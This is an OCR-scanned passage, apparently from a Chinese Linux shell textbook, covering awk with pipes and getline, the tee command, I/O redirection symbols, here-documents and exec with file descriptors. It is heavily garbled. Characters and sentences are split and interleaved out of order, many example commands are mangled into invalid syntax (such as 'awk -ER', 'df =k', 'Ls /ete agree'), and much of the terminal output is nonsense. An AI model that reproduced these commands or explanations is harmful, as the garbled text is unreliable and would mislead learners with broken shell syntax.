
管道 














、sed、 变 量 赋值 、echo 等 所 











都 用 的 是 单 引 号 ， 为 何 例 10-7 中 sed 命令 后 志 


10.1.4 awk 命 分 与 管道 





awk 也 可 以 将 管道 输入 作为 输入 数据 , 并 对 其 进行 处 开 




















命令 同样 要 将 输入 文件 去 掉 ， 命 令 格式 变 为 : 








| awk [-F 域 分 隔 符 





有 了 管道 这 一 概念 , 就 可 以 利用 awk 很 方 
命令 的 字符 串 处 理 功能 都 可 以 用 awk 代替 实现 。 

例 10-8 演示 了 awk 和 管道 结合 处 理 字 符 串 ， 
jobs in Hadoop， 第 1 条 命令 利用 awk 内 
令 的 length 中 是 $0， 因 为 string 从 管道 由 
此 时 就 相当 于 原 awk 命令 中 的 输入 文件 ， 
串 。 第 2 条 命令 仅 将 第 1 条 命令 的 $0 改 为 $1， 表 示 计 算 
以 空格 为 域 分 隔 符 ， 所 以 ，string 的 第 1 域 为 Speeding， 长度 为 
字符 串 函 数 substr 抽取 string 字符 串 
该 命令 仍然 以 全 域 $0 代表 整个 string 











吕 和 

















'awk 程序 段 ' 


























Ar 


子 付 





SH oz A 


置 字符 








重地 处 到 

















首先 ;将 string 
串 函 数 Tength 计算 string 的 字符 是 
是 awk 的 输入 数据 ，string 
因此 ,，$0 表示 输入 数据 的 全 域 ， 即 整个 string 字符 
string 第 1 域 的 长 度 ， 由 
8。 第 3 条 命令 利用 awk 内 置 
偷 出 ,相当 于 expr substr 命令 








给 awk 时 ，string 





第 1~8 个 字符 作为 子 吕 4 
.第 4 条 命令 将 抽 














E， 当 awk 将 


2 Hr 曲 


字符 是 








丙 


























取 string 字符 串 中 


上 识 。 读 者 应 当 





个 符号 的 用 法 ， 比 如 ， 前 面 几 乎 所 有 的 sed 命令 
[用 了 双 引 号 呢 《本 章 上 机 提议 第 5 题 》? 


道 作为 输入 时 , awk 


字符 串 , 可 以 说 , 几乎 所 有 可 以 用 expr 


的 值 赋 为 : Speeding up small 





8 长度， 该 全 











于 awk 默认 








第 25 个 字符 





开始 到 最 后 的 子 串 ， 并 将 $0 改 成 $string， 从 结果 可 以 看 出 ，awk 同样 可 以 解析 string 变量 名 ， 

















实现 substr 











rootsela ete 
第 1 条 命令 
reotuoselae ete 
加 加 
第 2 条 命令 
root@jselab etc 
8 


root@jselab etc 
Spesding 





root@jselab etc 
n Hadoop 


























root@jselab etc 


令 : 计算 SEE 字符 上 


第 4 条 命令 ; awk 可 以 解析 string 变量 名 


取 子 串 功能 。 
例 10-8: awk 和 管道 结合 处 理 字 符 串 
string="Speeding up small Jobs in Hadoop™ 
令 : 计算 string 字符 串 的 长 度 





echo $string 


echo $string 


2 Ar d 








第 3 条 命令 : 抽取 string 字符 串 中 第 1 一 8 个 字符 


echo $string 





echo $string 








第 1 域 的 长 度 


awk ' 


awk ' 


awk ' 





awk ' 
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由 例 10-8 可 以 看 出 ， 当 用 管道 将 字符 串 作 为 awk 的 输入 数据 时 ，awk 将 管道 输入 当做 输 
入 文件 ， 因 而 ， 就 可 对 管道 输入 分 域 ，awk 也 就 可 以 根据 $0 和 $1 等 域 号 对 字符 串 进行 处 理 。 
另外 ，awk 也 能 够 解析 变量 名 ， 并 进行 相应 的 处 理 ， 但 是 ， 这 必须 要 在 该 变量 从 管道 输入 的 
情况 下 ， 例 10-9 给 出 了 当 字 符 串 变量 不 从 管道 输入 时 ，awk 试图 解析 变量 名 出 现 的 后 果 。 
例 10-9: awk 直接 引用 变量 名 的 结果 


root@jselab etc]# string="Speeding up small jobs in Hadoop" 














































































































T0000 el Eo) em (oi Sue ts 5 
光标 位 置 ， 等 待 用 户 继续 输入 ， 完 善 awk 命令 
列 10-9 定义 string 变量 后 ， 使 用 awk 命令 的 substr 抽取 子 串 ，substr 引用 string 变量 ， 
由 结果 可 以 看 出 ，awk 无 法 执行 下 去 ， 在 下 一 行 出 现 光标 。 这 说 明 Shell 将 awk 解析 为 不 完 
整 的 命令 ， 等 竺 用 户 继续 输入 。 由 此 可 知 ， 当 变量 不 从 管道 输入 awk 命令 时 ，awk 无 法 引用 
已 定义 的 变量 名 。 

下 面 再 举 几 个 awk 命令 中 使 用 管道 的 例子 ， 先 看 例 10-10， 该 例 将 /etc/passwd 第 1 域 按 
字母 排序 后 打印 ，awk 命令 先 将 域 分 隔 符 指定 为 冒号 ， 然 后 打印 第 1 域 ， 将 打印 结果 通过 管 
道 传输 给 sort 命令 ，sort 命令 对 第 1 域 结果 进行 排序 ， 然 后 输出 ， 结 果 将 /etc/passwd 第 1 域 ， 
即 用 户 名 按照 字母 排序 后 打印 。 限 于 篇 幅 ， 例 10-10 仅 搞 选 部 分 结果 。 

# 例 10-10: 将 /etc/passwd 第 1 域 按 字母 排序 后 打印 

# 注 意 : sort 上 必须 加 双 引 号 

[root@jselab etc]# awk -ER ':' '{print $1 | "sort"}' passwd 


adm 
apache 
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avahi 

ov a on Eel 

Len 

daemon 

dbus 

distcache 

editor 

i 

games 

gdm 

gopher 

haldaemon 

nauke 

. 限于 篇 幅 ， 摘 选 部 分 结果 

特别 注意 的 是 ,awk 中 调用 Linux 命令 时 需要 用 双 引 号 将 这 些 命令 引起 来 ， 比 如 例 10-10 
用 双 引 号 将 sort 命令 引起 。 
例 10-10 是 在 awk 命令 里 用 Shell 处 理 awk 的 域 ， 反 过 来 ， 当 我 们 要 用 awk 处 理 Shell 
命令 的 输出 时 ， 需 要 引入 getline 函数 将 Shell 命令 的 输出 保存 到 变量 中 ，awk 再 对 该 变量 ; 
行 处 理 。 例 10-11 演示 在 awk 里 面 处 理 Shell 命令 输出 , 例 中 命令 的 作用 是 将 ls /usr 命令 的 输 
出 传 给 awk，awk 再 将 awk 打印 出 来 。 我 们 在 awk 的 BEGIN 字段 中 使 用 了 while 循环 ,循环 
内 将 ls /usr 命令 的 结果 逐个 通过 管道 传 给 geline d 命令 ， 打 印 d 变量 ， 直 到 ls /usr 命令 的 结 
果 全 部 处 理 结束 。 
# 例 10-11: 用 awk 打印 1s /usr 命令 的 结果 
# 用 while 循环 将 1s /uszr 命令 的 输出 结果 保存 到 变量 d 之 中 ， 然 后 打印 
[ 
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root@jselab etc]# awk 'BEGIN{while (("ls /usr" | getline d)>0) print d}' 
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games 
include 


kerberos 


四 


libexec 


loca 


Sloan 


share 


SEC 
tmp 


[root@jselab etc]# 



































在 awk 中 ， 如 果 要 对 Shell 命令 结果 进行 处 理 ， 必 须 将 结果 通过 管 




















道 传 给 getline 函数 ， 


如 果 结 果 较 多 ， 则 需要 使 用 循环 。 我 们 也 可 以 不 将 Shell 命令 放 在 awk 的 内 部 ，awk 同样 可 


以 对 Shell 命令 进行 处 理 






































































































































系统 ， 结 果 显 示 只 有 文件 系统 /dev/sda3 满足 条 件 ， 挂 载 点 是 Linux 的 /目录 。 


例 











0-12: 用 awk 查看 文件 系统 的 可 用 空间 























输出 可 用 空间 大 于 1GB 的 文件 空间 

root@ jselab etc]# df =k | awk "$4>1000000" 
文件 系统 1K- 块 已 用 可 用 已 用 % 挂 载 点 
/dev/sda3 T2279204 A seo S23 
root@jselab etc]# 








Ja 重 定向 


LO 











E。 若 我 们 要 碍 看 文件 系统 剩余 的 空间 容量 ， 输 出 可 用 空间 大 于 一 个 
触发 值 的 文件 系统 ， 我 们 就 可 以 将 df -k 命令 的 结果 通过 管道 传 给 awk，awk 通过 判 
是 否 大 于 这 一 触发 值 而 决定 是 否 输出 该 文件 空间 ，df -k 命令 可 以 列 出 Linux 系统 文 从 
详细 信息 ， 第 4 域 是 剩余 空间 量 。 下 面 的 例 10-12 中 的 命令 是 输 H 


有 第 4 域 
空间 的 
可 用 空间 大 于 1GB 的 文件 





站 



































重 定向 是 Shell 编程 中 的 一 个 重要 内 容 ， 那 么 何谓 1/O 习 





E 害 


sh 


可 呢 ? 简 言 之 ，LIO 重 定 


向 是 一 个 过 程 ， 这 个 过 程 捕捉 一 个 文件 、 命 令 、 程 序 或 脚本 ， 甚 至 代码 块 〈code block) 的 输 














本 节 首 先 介 绍 LO § 





































































































准 输 出 (stdout)、 标 准 错 误 输出 (stderr〉 和 tee 命令 等 内 容 ， 其 次 ， 








出 ， 然 后 把 捕捉 到 的 输出 作为 输入 发 送 给 另外 一 个 文件 、 命 令 、 程 序 或 脚本 。 


定向 中 的 重要 概念 一 一 文件 标识 符 ， 同 时 介绍 标准 输入 〈stdin )、 









































标 


完整 介绍 IO 重 定 向 的 
EE 定向 。 在 所 有 的 


所 有 符号 及 用 法 ; 再 次 ， 介 绍 利用 exec 实现 IO 重 定向 ; 最 后 介绍 代码 块 
内 容 介绍 完 后 ， 我 们 再 介绍 几 个 IO 重 定向 的 应 用 。 
10.2.1 文件 标识 符 
文件 标识 符 (File Descriptor，FD) 是 WO 重 定向 的 重要 概念 。 本 节 将 介绍 文件 标识 符 、 





标准 输入 〈stdin)、 标 准 输出 〈stdout) 和 标准 错误 输出 〈stderr ) 。 
标识 符 是 从 0 开始 到 9 结束 的 整数 , 指明 了 与 进程 相关 的 特定 数据 流 的 源 。 当 Linux 
系统 启动 一 个 进程 (该 进程 可 能 用 于 执行 Shell 命令 ) 时 ， 将 自动 为 该 进程 打开 三 个 文件 : 














文 们 







































































标准 输入 、 标 准 输出 和 标准 错误 输出 ， 分 别 由 文件 标识 符 0、1、2 标识 ， 该 进程 如 果 要 打开 
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其 他 的 输入 或 输出 文件 ， 则 从 整数 3 开始 标识 。 标 准 输入 、 标 准 输出 和 标准 错误 输出 是 软件 
设计 中 最 基本 的 概念 ， 软 件 设计 认为 程序 应 该 有 一 个 数据 来 源 、 一 个 数据 出 口 ， 及 产生 错误 
报告 的 地 方 ， 它 们 分 别 是 标准 输入 、 标 准 输出 和 标准 错误 输出 。 默 认 情况 下 ， 标 准 输入 与 键 
盘 输入 相关 联 ， 标 准 输出 和 标准 错误 输出 与 显示 器 相关 联 。 

图 10-4 描述 了 stdin、stdout、stderr 和 Shell 命令 的 关系 ，Shell 命令 从 标准 输入 读 取 输入 
数据 ， 将 输出 送 到 标准 输出 ， 如 果 该 命令 在 执行 过 程 中 发 生 错 误 ， 则 将 错误 信息 输出 到 标准 


错误 输出 。 
标准 输入 标准 输出 
(stdin) Shell 命 令 (stdout) 


执行 发 生 错 误 时 ， 标 
准 错误 输出 (stderr) 












































































































































10-4 stdin、stdout 和 stderr 





























如 果 我 们 需要 将 Shell 命令 的 输出 从 标准 输出 复制 一 份 到 茶 个 文件 中 , 可 以 使 用 tee 命令 。 
例 10-13 演示 了 tee 命令 的 基本 用 法 ， 例 中 命令 who | tee output 先 将 who 命令 的 执行 结果 从 
道 传 给 tee 命令 ，tee 命令 将 who 命令 的 标准 输出 复制 到 output 文件 ， 因 此 ， 结 果 仍 然 输出 
who 命令 的 标准 输出 ， 查 看 output 文件 的 内 容 后 ,证实 output 文件 确实 保存 了 who 命令 的 标 
准 输出 。 
例 10-13: 演示 tee 命令 的 基本 用 法 
将 who 命令 的 标准 输出 复制 到 output 文件 
root@jselab ~]# who | tee output 
noe alas 2010=05=21 09:31 (210.28-32.200) 
查看 output 文件 ， 与 who 标准 输出 一 样 
reotaselab reac outeut 
EO ES Zo 0 2100 :0 20 
root@jselab ~] 


网 10-13 中 who | tee output 命令 的 数据 流向 可 以 用 图 10-5 来 表示 ,tee 命令 产生 的 数据 流 
向 很 像 英文 字母 T， 将 一 个 输出 分 为 两 个 支流 ， 一 个 到 标准 输出 ， 另 一 个 到 某 输出 文件 。 


















































下 





融 



































































































































标准 输出 < 一 > output 文 件 


stdout 








who 命 令 执行 后 输出 








10-5 ”who | tee output 命 合 的 数据 流向 











tee 命令 还 有 一 个 选项 -a， 表 示 将 Shell 命令 的 输出 追加 到 某 个 文件 的 末尾 ， 例 10-14 说 
明了 tee -a 命令 的 用 法 ， 命 令 ps |tee -a output 将 ps 命令 的 标准 输出 追加 到 output 文件 未 尾 ， 
从 结果 中 可 以 看 到 ，output 首 行 是 由 who 命令 产生 的 输出 ， 后 面 四 行 是 ps 命令 产生 的 输出 。 

# 例 10-14: tee -a 命令 的 用 法 

# 将 ps 命令 的 标准 输出 复制 并 追加 到 output 文件 未 尾 

[root@jselab ~]# ps | tee -a output 
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ED EE 


TD 
2716 pts/0 
D1 By 
[root@jselab ~]# 


root 
Pio 


1717 pts/0 
2716 pts/0 
Day es)0 
root@jselab ~]# 


通过 例 10-13 和 例 10-14 不 难 掌握 tee 命令 的 基本 用 法 ,tee 命令 可 用 于 Shell 脚本 的 调试 ， 


其 是 管道 的 调试 ， 这 将 在 本 书 第 17 章 中 详细 论述 。 


























万 





10.2.2 


IO 重 定 向 符号 有 很 多 种 , 为 了 便于 读者 学 习 , 我 们 将 IO 习 


重 定向 符号 和 IO 重 定向 符号 。 表 10-3 列 出 了 基本 IO 重 定向 符 


pts/0 
4 


TIME CMD 


Vv ov sasn 
QO00: O00es 
OOO00 00Eee 


Sat outsut 
20L0=05=20 0931 (2L0 5280.32 200) 
TIME CMD # 从 此 开始 是 ps 命令 的 输出 





00:00:00 pash 
00:00:00 ps 
00:00:00 tee 
































IO 重 定向 符号 及 其 用 法 























表 10-3 基本 WO 重 定向 符号 及 其 意义 


符 














cmdl | cmd2 


管道 符 ， 将 cmd1 的 标准 输出 作为 cmd2 的 标准 输入 





> filename 


将 标准 输出 写 到 文件 flename 之 中 





< filename 





将 文件 filename 的 内 容 读 入 到 标准 输入 之 中 





>> filename 








已 有 内 容 之 后 


将 标准 输出 写 到 文件 fiename 之 中 ， 若 flename 文件 已 存在 ， 则 将 标准 输出 追加 到 filename 





>| filename 





即使 noclobber 选项 
覆盖 掉 


- 启 ， 仍 然 强制 将 标准 输出 写 到 文件 filename 之 中 ， 





即将 flename 文件 





n>| filename 

















即使 noclobber 选项 
文件 履 善 掉 


-局 ， 仍 然 强制 将 FD 为 n 的 输出 写 到 文件 filename 之 中 , 即将 flename 








n> filename 


将 FD 为 n 的 输出 写 到 文件 filename 之 





n< filename 





将 文件 flename 的 内 容 读 入 到 FD n 之 中 








n>> filename 











将 FD 为 n 的 输出 写 到 文件 flename 之 中 ， 
到 filename 已 有 内 容 之 后 


若 flename 文件 已 存在 ， 则 将 FD 为 的 输出 追加 





<<delimiter 


























管道 符 也 是 一 利 








和 IO 重 定 问 符 号 ， 
管道 符 的 论述 ， 我 们 举 一 些 例子 说 明 其 4 








处 文档 〈Here-documenty) 
































于 10.1 节 已 经 详细 探讨 了 管道 ， 所 以 ， 在 此 忽略 对 
岂 VO 重 定向 符号 及 甚 用法。 首先 ， 请 看 例 


10-15， 该 








例子 将 cat 和 > 符号 结合 成 为 简易 文本 编辑 器 ， 当 cat 命令 后 不 加 任何 参数 时 ，cat 命令 的 输入 




















cat > newfile 后 ， 就 可 输入 需要 写 到 newfile 的 内 容 ， 最 后 按 
的 编辑 。 在 用 cat newfile 命令 查看 newfile 文 从 























是 标准 输入 ， 即 键盘 输入 ， 然 后 





















































利用 IO 重 定向 符号 “> ”将 键盘 输入 写 入 文件 ， 








因此 ， 输 入 





“CtrltD” 组 合 键 结束 对 newfile 
F 内 容 时 ， 发 现 newfile 中 确实 是 从 键盘 输入 的 














文本 ， 由 于 newfile 最 后 一 行 后 面 无 换行 符 ， 因 此， 显示 完 newfile 内 容 后 ， 紧 接着 就 是 Shell 


提示 符 。 





# 例 10-15: cat 和 > 符号 结合 成 为 简易 文本 编辑 器 
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[root@jselab ~]# cat > newfile 

deadlock and livelock avoidance Protocol 

Proposed by Park[root@jselab ~]# cat newfile # 按 Ctrl+D 组 合 键 结束 文件 编辑 

deadlock and livelock avoidance Protocol 

Proposed by Park[root@jselab ~]# 

newfile 被 创建 后 ， 我 们 再 用 “>>” 符 号 在 newfile 后 退 加 一 些 文本 ， 如 例 10-16 所 示 ， 
例 中 命令 将 /etc 目录 中 包含 rc 字符 的 文件 名 追加 到 newfile 之 中 ， 命 令 先 列 出 /etc 的 所 有 文 伯 
名 ,将 结果 传 给 grep 命令 ，grep 但 找 与 rc 字符 串 匹 配 的 文件 名 ， 将 输出 结果 退 加 到 newfile。 
观察 newfile 中 的 文本 内 容 ， 前 面 两 行 是 原来 的 文本 ，Park 字符 串 后 是 追加 上 去 的 文本 。 

# 例 10-16: 利用 >> 符 号 向 newfile 追加 文本 

[root@jselab ~]# ls /etc grep "re >> newfile 

[root@jselab ~]# more newfile 

deadlock and livelock avoidance protocol 

Proposed by Parkbashrc #bashrc 之 前 是 原来 的 版 本 

Ssheshte 
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TnpuEre 

Ten le 
Metre 

Mat Eres loa 
none 

Te 
Leo 
Ee 
C2 
EOS 
ECUR 
LOS 


Ooo 


下 @6 
eel 
oe lore ll 

Ee ne 
Sense 

le 

Eee 

wgetrc 
[root@jselab ~]# 


我 们 将 例 10-16 命令 中 >> 符 号 改 为 > 符号 , 执行 它 并 观察 newfile 的 文本 内 容 , 如 例 10-17 
所 示 , 从 结果 可 以 看 到 , newfile 中 原来 的 文本 被 覆盖 ， 换 成 ls /etc | grep "rc" 命令 的 输出 结 
此 可 以 总 结 出 ，>> 符 号 是 将 标准 输出 追加 到 已 有 文件 的 内 容 之 后 ， 而 > 符号 则 将 文件 的 原 
有 文本 缆 盖 ， 然 后 写 入 标准 输出 的 内 容 。 

# 例 10-17: 说 明 > 符 号 与 >> 符 号 的 区 别 

# 与 例 10-16 相 比 ， 仅 将 >> 符 号 改 为 了 > 符号 

Leoeoeleaby /eee ee er newie 

[root@jselab ~]# cat newfile #newfile 中 原来 的 内 容 被 新 内 容 所 有 履 盖 

lashne 
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el 
el 
el 
Res 
5 
sel 
el 


3) 

19 

resd 

remlocsal 
EL 
Srenere 

Vimrc 

VERG 

wgetrc 
[root@jselab ~]# 


>| 符 号 是 强制 覆盖 文件 的 符号 ， 它 与 Shell 的 noclobber 选项 有 关系 ， 如 果 noclobber 选项 
开启， 表示 不 允许 覆盖 任何 文件 ， 而 >| 符 号 则 可 以 不 管 noclobber 选项 的 作用 ， 强 制 将 文件 履 
盖 。 下 面 的 例 10-18 演示 了 >| 符 号 的 基本 用 法 ， 其 中 第 1 条 命令 用 set -o 命令 开局 noclobber 
选项 。 第 2 条 命令 用 > 符号 将 ls /etc | grep "rc.d" 命 令 的 输出 结果 写 入 newfile， 由 于 > 符号 是 需 
要 覆盖 文件 的 ， 因 此 ，Shell 报错 “不 能 覆盖 已 存在 的 文件 >， 这 说 明 noclobber 选项 确实 起 作 
用 了 。 第 3 条 命令 将 第 2 条 命令 的 > 符号 改 为 >| 符 号 ,执行 成 功 ， 这 说 明 >| 符 号 强制 将 newfile 
窗 盖 。 第 4 条 命令 查看 newfile 文件 内 容 ， 表 明 newfile 文件 确实 已 被 履 善 。 


例 10-18: 演示 >| 符 号 的 基本 用 法 
root@jselab ~ Set -Oo noclobber 
第 1 条 命令 : 开启 noclobber 选项 

第 2 条 命令 : 试图 覆盖 newfile 时 ， 报 语法 错误 ，noclobber 选项 起 作用 了 


root@jselab ~ ls /etc | grep "rc.d" > newfile 

































































































































































=bash: newfile: cannot overwrite existing fileée 

第 3 条 命令 : 用 >| 符 号 强制 将 newfile 覆盖 ， 而 忽略 noclobber 选项 的 作用 
root@jselab ~ Ls /ete agree "red >) newfile 

第 4 条 命令 : 查看 newfile 文件 内 容 ， 证 实 newfile 确实 已 被 覆盖 

EGGEQ selaen. cat newfile 











Gel 


























root@jselab ~ 

下 面 再 举 一 个 标准 错误 输出 的 例子 ， 如 例 10-19 所 示 ， 例 中 第 1 条 命令 显示 该 目录 下 以 
z 开头 的 文件 ， 由 于 该 目录 中 没有 这 类 文件 ， 因 此 ，Shell 输出 错误 信息 “ls: 无 法 访问 z*: 没 
有 那个 文件 或 目录 ”第 2 条 命令 将 1s z* 的 输出 重 定向 到 newfile 文件 ， 但 是 ， 错 误 信息 仍 在 
Shell 上 显示 ， 这 说 明 错 误 信息 并 非 是 该 命令 的 输出 结果 ;第 3 条 命令 查看 newfile 内 容 ， 结 
果 为 空 ， 说 明 ls z* 命 令 的 输出 是 空 ， 第 4 条 命令 用 n>filename 符号 将 FD 为 2 的 文件 重 定 
到 newfile 文件 ，FD 为 2 的 文件 即 为 标准 错误 输出 ， 然 后 用 第 5 条 命令 查看 newfile 内 容 时 ， 
发 现 newfile 中 保存 了 ls z* 命 令 的 错误 信息 。 值 得 注意 的 是 ， 第 4 条 命令 中 2 和 > 之 间 不 能 有 
空格 。 

# 例 10-19: 标准 错误 输出 的 用 法 

# 第 1 条 命令 : 显示 该 目录 下 以 z 开头 的 文件 

[root@jselab shell-book]# ls z* 

ls: 无 法 访问 “没有 那个 文件 或 目录 

# 第 2 条 命令 : 将 输出 重 定向 到 newfile， 但 是 结果 仍然 与 第 1 条 命令 一 样 
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root@jselab shell-book IE 

ls: 无 法 访问 2z*: 没有 那个 文件 或 目录 

第 3 条 命令 : 查看 newfile 内 容 ， 为 空 

root@jselab shell-book cat newfile 

第 4 条 命令 : 将 stderr 重 定向 到 newfile， 不 再 输出 错误 信息 
root@jselab shell-book ls zx 2> newfile 

第 5 条 命令 ; 查看 newfile 内 容 ， 保 存 了 错误 信息 
root@jselab shell-book cat newfile 
1s: 无 法 访问 z*: 没有 那个 文件 或 目录 
root@jselab shell-book 


n>>filename、n>|filename 与 n>filename 都 是 将 FD 为 n 的 文件 重 定 向 到 filename 文件 之 
中 ， 三 者 的 区 别 实际 上 是 >>、>] 和 > 这 三 个 符 吕 的 区 别 ， 例 10-17 和 例 10-18 已 经 介绍 得 十 分 
清楚 了 ， 在 此 就 不 再 举例 介绍 n>>filename 和 n>|filename 两 种 符号 的 用 法 。 

< 是 IO 重 定 向 的 输入 符号 ， 它 可 将 文件 内 容 写 到 标准 输入 之 中 。 下 面 举 一 个 例子 说 明 < 
符号 , 如 例 10-20 所 示 , 其 中 第 1 条 命令 打印 newfile 的 内 容 。 第 2 条 命令 和 第 3 条 命令 相似 ， 
形式 上 仅 相 差 一 个 < 符号 ， 下 面 分 析 这 两 条 相似 命令 的 执行 过 程 : 第 2 条 命令 中 we 开始 执行 
时 , 将 -1 和 newfile 作为 两 个 输入 参数 ，-l 参数 表示 对 行进 行 计 数 ，newfile 指明 了 需要 行 计 数 
的 文件 名 ， 因 此 ，wc 打开 newfile 文件 ， 统 计 行 数 ， 并 在 Shell 上 打印 出 统计 的 行 数 1 和 相应 
的 文件 名 ; 第 3 条 命令 开始 执行 时 ，Shell 识别 出 输入 重 定向 符号 <， 并 判断 < 符号 后 面 的 字符 
串 表 示 重 定向 数据 源 文件 的 名 称 ，Shell 从 命令 行 “ 甜 ” 掉 <newfile， 启 动 wc 命令 ， 将 它 的 
标准 输入 重 定向 到 newfile 文件 , 并 给 wc 命令 传递 一 个 参数 -1, 因此 ,wc 命令 并 不 知道 newfile 
的 存在 ， 因 为 we 命令 只 管 从 标准 输入 中 读 取 数 据 ， 所 以 ， 绪 果 只 打印 行 数 1， 并 不 打印 文 
名 称 。 
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例 10-20: 说 明 < 符号 的 用 法 

root@jselab shell-book]# cat newfile 
第 1 条 命令 ;显示 newfile 文件 内 容 

1s: 无 法 访问 z*: 没有 那个 文件 或 目录 
root@jselab shell-book]# wc -1 newfile 
第 2 条 命令 : -1 和 newfile 作为 参数 输入 
newfile 
第 3 条 命令 : 从 stdin 中 读数 据 ， 不 知道 newfile 的 存在 
root@jselab shell-book wc -1 <newfile 

结果 未 列 出 文件 名 newfile 





























root@jselab shell-book 

<<delimiter 符号 称 为 此 处 文档 (Here-document)，delimiter 称 为 分 界 符 ， 该 符号 表明 : 
Shell 将 分 界 符 delimiter 之 后 直至 下 一 个 delimiter 之 前 的 所 有 内 容 作为 输入 。 可 能 对 此 处 文 
档 的 解释 不 容易 理解 , 在 此 举 一 个 例子 帮助 读者 理解 ,如 例 10-21 所 示 , 例 中 命令 cat >> hfile 
类 似 于 例 10-15 中 命令 cat > newfile ，cat 作为 文本 编辑 器 ， 我 们 在 cat >> hfile 后 加 上 了 
<<CLOUD， 表 示 将 CLOUD 作为 分 界 符 ， 输 入 到 下 一 个 CLOUD 为 止 。 例 10-21 中 ， 我 们 在 
cat >> hfile <<CLOUD 后 输入 两 行文 本 ， 第 3 行 输入 CLOUD 后 按 “Enter” 刍 就 结束 编辑 ， 
查看 hfile 发 现 确实 为 以 上 所 输入 的 两 行文 本 。 例 10-15 中 ， 我 们 是 按 “CtrlHD ”组 合 键 结束 
辑 的 ， 加 上 <<CLOUD 后 ， 下 一 个 CLOUD 就 相当 于 Ctrl+D。 


Ar FI 


# 例 10-21: 演示 <<delimiter 符号 的 用 法 
[root@jselab she1L1L-book]#cat >> hfile <<CLOUD 
> Hadoop is developed by Yahoo 
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> Google also develops GFS and MapReduce 
Cr 

[root@jselab shell-lbook]# cat hfile 
Hadoop is developed by Yahoo 

Google also develops GFS and MapReduce 
[root@jselab shell-book]# 


<<delimiter 符号 还 有 一 种 形式 : -<<delimiter， 

















# 两 个 delimiter 之 间 的 内 容 作为 输入 





即 在 << 符 号 加 上 一 个 负 号 ， 这样 输入 文本 











行 所 有 开头 的 “Tab” 键 都 会 被 删除 ， 但 是 ， 开 头 的 空格 键 却 不 会 被 删除 ， 例 10-22 演示 








-<<delimiter 符号 的 用 法 ， 例 中 命令 cat > hfile -<<C 


LOUD 表示 以 将 CLOUD 作为 分 界 符 ， 到 


下 一 个 CLOUD 为 止 的 输入 写 入 hfile 文件 。 我 们 输入 的 第 1 行 以 空格 开头 ， 第 2 行 输入 几 个 
Tab 键 ， 然 后 输入 Google also develops GFS and MapReduce 这 段 文字 ， 用 cat 命令 查看 hfile 

















发 现 第 1 行 的 空格 未 被 删除 ， 第 2 行 


# 例 10-22: 符号 








-<<delimiter 符号 的 用 法 

















头 的 Tab 键 却 被 删除 了 。 


[root@jselab shell-book]# cat > hfile -<< CLOUD 
> Hadoop is developed by Yahoo # 以 空格 开头 
> # 在 新 的 一 行 ， 输 出 一 些 Tab 键 ， 出 现 当 前 目录 的 所 有 文件 
anotherres.sh example/ logggl BParttotal subsenv.sh 
> Google also develops GFS and MapReduce 
EC 

root@jselab shell-book]# cat nfile 

Hadoop is developed by Yahoo # 空 格 未 被 删除 


Google also develops GES and MapReduce 
root@jselab shell-book] 


基本 IO 重 定向 符号 就 介绍 到 这 里 ， 














下 面 介绍 

















bondll 


























#Tab 键 被 删除 了 





些 的 IO 重 定向 符号 ， 我 们 称 


稍微 复杂 











之 为 高 级 IO 重 定向 符号 。 由 于 高 级 IO 重 定向 符号 与 exec 命令 有 关 ,， 所 以 , 我们 将 高 级 IO 








重 定向 符号 的 内 容 放 到 下 一 小 节 介绍 。 


10.2.3” ”exec 命 合 的 用 法 
exec 命令 可 以 通过 文件 标识 符 打 开 或 关闭 文件 





























m4 








execin.sh 的 脚本 ， 内 容 如 下 : 











下 


， 也 可 将 文件 重 定 向 到 标准 输入 ， 及 将 标 











值 输出 重 定 向 到 文件 。 我 们 首先 举 一 个 例子 说 明 exec 将 标准 输入 重 定向 到 文件 ， 新 建 名 为 

















# 例 10-23: execin.sh 脚本 使 用 exec 将 stdin 重 定向 到 文件 











#!/bin/bash 


#FD 8 是 FD 0【〔 即 标准 输入 〉 的 副本 ， 用 于 恢复 FD 0 


exec 8<&0 


exec < hfile 


eehon celeose ED 3 
# 0<&8: 将 FD 8 复制 到 FD 0，FD 8 是 原来 的 标准 输入 ， 
#8<&-: 关闭 FD 8， 其 他 进程 可 以 重复 使 用 FD 8 


个 清 还 见 


HQYJ.COM 



































# 将 标准 输入 重 定向 到 hfile 
# 读 取 hfile 文件 的 第 1 行 
# 读 取 hfile 文件 的 第 2 行 

















FD 0 从 FD 8 中 恢复 原状 
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exec 0<&8 8<&- 


# 在 执行 read 命令 时 ，read 命令 从 键盘 输入 读 取 数据 
Eee 本 RNs RS 请 骨 a 世 3 
二 加 已 # 标 准 输入 恢复 成 键盘 输入 


echo $c 


execin.sh 脚本 演示 如 何 将 标准 输入 重 定 癌 到 文件 ， 以 及 如 何 通 过 其 他 FD 的 文件 恢复 标准 
输入 。execin.sh 脚本 首先 用 exec 8<&0 将 FD 0 复制 到 FD 8， 此 时 ，exec 命令 同时 打开 了 FD 8 
文件 。 然 后，execin.sh 脚本 用 exec <hfile 将 hfile 复制 到 标准 输入 ， 事 实 上 ，< 符 号 是 等 价 于 0< 
符号 的 。read 命令 本 来 是 用 于 接受 用 户 输入 的 ， 即 read 命令 原本 从 标准 输入 读 取 数据 。 当 
execin.sh 脚本 执行 read 命令 时 ， 每 次 读 入 hfile 的 一 行 ， 因 此 ，a 和 b 变量 分 别 保存 了 hfile 的 
第 1 行 和 第 2 行 ， 从 下 面 execin.sh 脚本 的 执行 结果 打印 了 a 和 bb 变量， 确实 是 hfile 的 第 1 行 
和 第 2 行 。 接 着 ，execin.sh 脚本 将 FD 8 文件 复制 到 FD 0， 由 于 FD 8 保存 了 原来 的 FD 0， 
此 , 将 FD 8 复制 给 FD 0 后 ，FD 0 恢复 原状 了 ， 并 且 execin.sh 脚本 关闭 FD 8 文件 ， 便 于 其 
进程 可 以 重复 使 用 FD 8。 最 后 ，execin.sh 脚本 再 次 执行 read 命令 以 测试 标准 输入 是 否 恢 复 
状 ， 从 下 面 execin.sh 脚本 的 执行 结果 可 以 看 出 ， 执 行 read 命令 后 ，Shell 等 竺 用户 输入 ， 并 
回 显 用 户 所 输入 的 变量 ， 这 说 明 read 命令 从 键盘 读 取 数 据 ， 说 明 FD 0 恢复 原状 。 

# 例 10-23 execin.sh 脚本 的 执行 结果 


[root@jselab shell-book]# chmod u+x execin.sh 
[root@jselab shell-book]# ./execin.sh 
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Hadoop is developed lby Yahoo 























Google also develops GFS and MapReduce #read 命令 从 hfile 中 读 取 的 结果 

Close FD 8: # 将 FD 8 复制 给 FD 0， 使 FD 0 恢复 从 键盘 输入 ， 再 关闭 FD 8 
